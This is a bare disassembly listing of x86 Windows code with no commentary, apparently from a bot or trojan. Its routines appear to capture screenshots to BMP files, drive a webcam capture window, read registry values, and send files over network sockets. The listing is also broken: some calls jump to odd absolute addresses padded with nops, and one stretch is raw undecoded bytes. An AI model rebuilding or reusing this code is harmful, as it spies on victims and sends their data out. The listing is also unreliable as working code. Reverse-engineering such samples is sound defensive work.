		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4D0748
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 27107FCh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2700000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 267093Fh
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4D0780
		push	[ebp+var_4]
		call	dword_4D06E0
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4D06E0
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4D06E0
		push	[ebp+var_4]
		call	dword_4D06E0


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D8450
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4D0774
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D0880
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4D0880


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4D07C4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D07C4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4D0880


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4D0880


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D0880


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4D0880


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4D08D4
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D8450
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4D0774
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D0880
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4D0880


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4D0880
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4D0880


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D0880


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4D0880


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4D0880


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4D0880


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4D0880


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4D0880


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4D07C4
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4D0880


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4D08D4
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_43BAE4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_43BAE4
		mov	esi, offset dword_43BAF0
		mov	edi, offset dword_43CCE8


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4D0894
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4D0724
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_42ED64
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_43CCE4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_43CCE4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4D0800
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4D08A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4D0824
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4D0864
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4D08A8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D07CC
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4D08BC


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43CD6468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22DA314h, 4429D868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43CD3468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0BC15FF53h, 0FF004D08h, 0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022DA2h, 0C7E89064h, 330226B0h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 3C15FF53h,	85004D08h
		dd 8D387EC0h, 0FFEE4C85h, 0F34068FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 6FE89064h, 6A0226B0h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 0CD0068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 8BC15FFh,	75FF004Dh, 5600E8F0h, 5759FFFFh
		dd 0A1E6E890h
		db 2Dh,	2
; ---------------------------------------------------------------------------


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4D08A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_43CE64
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4D0824
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4D0850
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_43CE40
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4D07C8
		push	dword ptr [ebp-2Eh]
		call	dword_4D0754
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4D084C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_43CD64
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 27107FCh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_43CE20
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		call	near ptr 2740C4Bh
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4D0864
		push	eax
		call	dword_4D0820
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_43CE08
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4D080C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_43CDF0
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4D08B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_43CDCC


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4D08BC
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2710000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4D0874
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4D083C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 267093Fh
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_43CDA0
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4D08BC


